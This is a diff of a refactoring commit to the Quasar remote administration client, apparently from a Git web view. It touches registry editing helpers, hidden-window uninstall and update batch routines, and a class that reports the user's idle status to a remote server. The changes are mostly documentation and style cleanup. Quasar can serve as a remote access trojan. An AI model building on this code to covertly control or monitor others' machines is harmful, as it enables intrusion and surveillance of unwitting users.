public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
|
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
|
||||||
{
|
{
|
||||||
|
@ -96,7 +82,7 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="name">The name of the sub-key to delete.</param>
|
/// <param name="name">The name of the sub-key to delete.</param>
|
||||||
/// <param name="parentPath">The path to the parent for which to delete the sub-key on.</param>
|
/// <param name="parentPath">The path to the parent for which to delete the sub-key on.</param>
|
||||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||||
/// <returns>Returns true if the operation succeeded.</returns>
|
/// <returns>Returns true if the operation succeeded.</returns>
|
||||||
public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg)
|
public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg)
|
||||||
{
|
{
|
||||||
|
@ -145,7 +131,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string
|
||||||
/// <param name="oldName">The name of the key to rename.</param>
|
/// <param name="oldName">The name of the key to rename.</param>
|
||||||
/// <param name="newName">The name to use for renaming.</param>
|
/// <param name="newName">The name to use for renaming.</param>
|
||||||
/// <param name="parentPath">The path of the parent for which to rename the key.</param>
|
/// <param name="parentPath">The path of the parent for which to rename the key.</param>
|
||||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||||
/// <returns>Returns true if the operation succeeded.</returns>
|
/// <returns>Returns true if the operation succeeded.</returns>
|
||||||
public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg)
|
public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg)
|
||||||
{
|
{
|
||||||
|
@ -189,17 +175,13 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#endregion
|
|
||||||
|
|
||||||
#region RegistryValue
|
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Attempts to create the desired value for the specified parent.
|
/// Attempts to create the desired value for the specified parent.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="keyPath">The path to the key for which to create the registry value on.</param>
|
/// <param name="keyPath">The path to the key for which to create the registry value on.</param>
|
||||||
/// <param name="kind">The type of the registry value to create.</param>
|
/// <param name="kind">The type of the registry value to create.</param>
|
||||||
/// <param name="name">output parameter that holds the name of the registry value that was create.</param>
|
/// <param name="name">output parameter that holds the name of the registry value that was create.</param>
|
||||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||||
/// <returns>Returns true if the operation succeeded.</returns>
|
/// <returns>Returns true if the operation succeeded.</returns>
|
||||||
public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
|
public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
|
||||||
{
|
{
|
||||||
|
@ -252,7 +234,7 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="keyPath">The path to the key for which to delete the registry value on.</param>
|
/// <param name="keyPath">The path to the key for which to delete the registry value on.</param>
|
||||||
/// /// <param name="name">The name of the registry value to delete.</param>
|
/// /// <param name="name">The name of the registry value to delete.</param>
|
||||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||||
/// <returns>Returns true if the operation succeeded.</returns>
|
/// <returns>Returns true if the operation succeeded.</returns>
|
||||||
public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg)
|
public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg)
|
||||||
{
|
{
|
||||||
|
@ -301,7 +283,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e
|
||||||
/// <param name="oldName">The name of the registry value to rename.</param>
|
/// <param name="oldName">The name of the registry value to rename.</param>
|
||||||
/// <param name="newName">The name to use for renaming.</param>
|
/// <param name="newName">The name to use for renaming.</param>
|
||||||
/// <param name="keyPath">The path of the key for which to rename the registry value.</param>
|
/// <param name="keyPath">The path of the key for which to rename the registry value.</param>
|
||||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||||
/// <returns>Returns true if the operation succeeded.</returns>
|
/// <returns>Returns true if the operation succeeded.</returns>
|
||||||
public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg)
|
public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg)
|
||||||
{
|
{
|
||||||
|
@ -352,7 +334,7 @@ public static bool RenameRegistryValue(string oldName, string newName, string ke
|
||||||
/// RegValueData object.</param>
|
/// RegValueData object.</param>
|
||||||
/// <param name="keyPath">The path to the key for which to change the
|
/// <param name="keyPath">The path to the key for which to change the
|
||||||
/// value of the registry value on.</param>
|
/// value of the registry value on.</param>
|
||||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||||
/// <returns>Returns true if the operation succeeded.</returns>
|
/// <returns>Returns true if the operation succeeded.</returns>
|
||||||
public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg)
|
public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg)
|
||||||
{
|
{
|
||||||
|
@ -395,8 +377,6 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#endregion
|
|
||||||
|
|
||||||
public static RegistryKey GetWritableRegistryKey(string keyPath)
|
public static RegistryKey GetWritableRegistryKey(string keyPath)
|
||||||
{
|
{
|
||||||
RegistryKey key = RegistrySeeker.GetRootKey(keyPath);
|
RegistryKey key = RegistrySeeker.GetRootKey(keyPath);
|
||||||
|
|
|
@ -1,42 +1,24 @@
|
||||||
using System;
|
using Microsoft.Win32;
|
||||||
using System.Collections.Generic;
|
|
||||||
using Microsoft.Win32;
|
|
||||||
using Quasar.Client.Extensions;
|
using Quasar.Client.Extensions;
|
||||||
using Quasar.Client.Helper;
|
using Quasar.Client.Helper;
|
||||||
using Quasar.Common.Models;
|
using Quasar.Common.Models;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
namespace Quasar.Client.Registry
|
namespace Quasar.Client.Registry
|
||||||
{
|
{
|
||||||
public class RegistrySeeker
|
public class RegistrySeeker
|
||||||
{
|
{
|
||||||
|
|
||||||
#region Fields
|
|
||||||
|
|
||||||
/// <summary>
|
|
||||||
/// The lock used to ensure thread safety.
|
|
||||||
/// </summary>
|
|
||||||
private readonly object locker = new object();
|
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// The list containing the matches found during the search.
|
/// The list containing the matches found during the search.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
private List<RegSeekerMatch> matches;
|
private readonly List<RegSeekerMatch> _matches;
|
||||||
|
|
||||||
public RegSeekerMatch[] Matches
|
public RegSeekerMatch[] Matches => _matches?.ToArray();
|
||||||
{
|
|
||||||
get
|
|
||||||
{
|
|
||||||
if (matches != null)
|
|
||||||
return matches.ToArray();
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#endregion
|
|
||||||
|
|
||||||
public RegistrySeeker()
|
public RegistrySeeker()
|
||||||
{
|
{
|
||||||
matches = new List<RegSeekerMatch>();
|
_matches = new List<RegSeekerMatch>();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void BeginSeeking(string rootKeyName)
|
public void BeginSeeking(string rootKeyName)
|
||||||
|
@ -112,14 +94,13 @@ private void ProcessKey(RegistryKey key, string keyName)
|
||||||
{
|
{
|
||||||
AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0);
|
AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void AddMatch(string key, RegValueData[] values, int subkeycount)
|
private void AddMatch(string key, RegValueData[] values, int subkeycount)
|
||||||
{
|
{
|
||||||
RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0};
|
RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0};
|
||||||
|
|
||||||
matches.Add(match);
|
_matches.Add(match);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static RegistryKey GetRootKey(string subkeyFullPath)
|
public static RegistryKey GetRootKey(string subkeyFullPath)
|
||||||
|
|
|
@ -1,6 +1,5 @@
|
||||||
using Quasar.Client.Config;
|
using Quasar.Client.Config;
|
||||||
using Quasar.Client.IO;
|
using Quasar.Client.IO;
|
||||||
using System;
|
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
@ -18,9 +17,6 @@ public void Uninstall()
|
||||||
|
|
||||||
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);
|
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);
|
||||||
|
|
||||||
if (string.IsNullOrEmpty(batchFile))
|
|
||||||
throw new Exception("Could not create uninstall-batch file.");
|
|
||||||
|
|
||||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||||
{
|
{
|
||||||
WindowStyle = ProcessWindowStyle.Hidden,
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
|
|
@ -20,9 +20,6 @@ public void Update(string newFilePath)
|
||||||
|
|
||||||
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
|
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
|
||||||
|
|
||||||
if (string.IsNullOrEmpty(batchFile))
|
|
||||||
throw new Exception("Could not create update batch file.");
|
|
||||||
|
|
||||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||||
{
|
{
|
||||||
WindowStyle = ProcessWindowStyle.Hidden,
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
|
|
@ -7,16 +7,35 @@
|
||||||
|
|
||||||
namespace Quasar.Client.User
|
namespace Quasar.Client.User
|
||||||
{
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Provides user activity detection and sends <see cref="SetUserStatus"/> messages on change.
|
||||||
|
/// </summary>
|
||||||
public class ActivityDetection : IDisposable
|
public class ActivityDetection : IDisposable
|
||||||
{
|
{
|
||||||
public UserStatus LastUserStatus { get; private set; }
|
/// <summary>
|
||||||
|
/// Stores the last user status to detect changes.
|
||||||
|
/// </summary>
|
||||||
|
private UserStatus _lastUserStatus;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The client to use for communication with the server.
|
||||||
|
/// </summary>
|
||||||
private readonly QuasarClient _client;
|
private readonly QuasarClient _client;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a <see cref="_token"/> and signals cancellation.
|
||||||
|
/// </summary>
|
||||||
private readonly CancellationTokenSource _tokenSource;
|
private readonly CancellationTokenSource _tokenSource;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The token to check for cancellation.
|
||||||
|
/// </summary>
|
||||||
private readonly CancellationToken _token;
|
private readonly CancellationToken _token;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of <see cref="ActivityDetection"/> using the given client.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="client">The name of the mutex.</param>
|
||||||
public ActivityDetection(QuasarClient client)
|
public ActivityDetection(QuasarClient client)
|
||||||
{
|
{
|
||||||
_client = client;
|
_client = client;
|
||||||
|
@ -29,44 +48,47 @@ private void OnClientStateChange(Networking.Client s, bool connected)
|
||||||
{
|
{
|
||||||
// reset user status
|
// reset user status
|
||||||
if (connected)
|
if (connected)
|
||||||
LastUserStatus = UserStatus.Active;
|
_lastUserStatus = UserStatus.Active;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Starts the user activity detection.
|
||||||
|
/// </summary>
|
||||||
public void Start()
|
public void Start()
|
||||||
{
|
{
|
||||||
new Thread(UserIdleThread).Start();
|
new Thread(UserActivityThread).Start();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void Dispose()
|
/// <summary>
|
||||||
|
/// Checks for user activity changes sends <see cref="SetUserStatus"/> to the <see cref="_client"/> on change.
|
||||||
|
/// </summary>
|
||||||
|
private void UserActivityThread()
|
||||||
{
|
{
|
||||||
_client.ClientState -= OnClientStateChange;
|
while (!_token.WaitHandle.WaitOne(10))
|
||||||
_tokenSource.Cancel();
|
|
||||||
_tokenSource.Dispose();
|
|
||||||
}
|
|
||||||
|
|
||||||
private void UserIdleThread()
|
|
||||||
{
|
|
||||||
while (!_token.WaitHandle.WaitOne(1000))
|
|
||||||
{
|
{
|
||||||
if (IsUserIdle())
|
if (IsUserIdle())
|
||||||
{
|
{
|
||||||
if (LastUserStatus != UserStatus.Idle)
|
if (_lastUserStatus != UserStatus.Idle)
|
||||||
{
|
{
|
||||||
LastUserStatus = UserStatus.Idle;
|
_lastUserStatus = UserStatus.Idle;
|
||||||
_client.Send(new SetUserStatus {Message = LastUserStatus});
|
_client.Send(new SetUserStatus {Message = _lastUserStatus});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
if (LastUserStatus != UserStatus.Active)
|
if (_lastUserStatus != UserStatus.Active)
|
||||||
{
|
{
|
||||||
LastUserStatus = UserStatus.Active;
|
_lastUserStatus = UserStatus.Active;
|
||||||
_client.Send(new SetUserStatus {Message = LastUserStatus});
|
_client.Send(new SetUserStatus {Message = _lastUserStatus});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines whether the user is idle if the last user input was more than 10 minutes ago.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns><c>True</c> if the user is idle, else <c>false</c>.</returns>
|
||||||
private bool IsUserIdle()
|
private bool IsUserIdle()
|
||||||
{
|
{
|
||||||
var ticks = Environment.TickCount;
|
var ticks = Environment.TickCount;
|
||||||
|
@ -77,5 +99,24 @@ private bool IsUserIdle()
|
||||||
|
|
||||||
return (idleTime > 600); // idle for 10 minutes
|
return (idleTime > 600); // idle for 10 minutes
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Disposes all managed and unmanaged resources associated with this activity detection service.
|
||||||
|
/// </summary>
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
Dispose(true);
|
||||||
|
GC.SuppressFinalize(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected virtual void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing)
|
||||||
|
{
|
||||||
|
_client.ClientState -= OnClientStateChange;
|
||||||
|
_tokenSource.Cancel();
|
||||||
|
_tokenSource.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue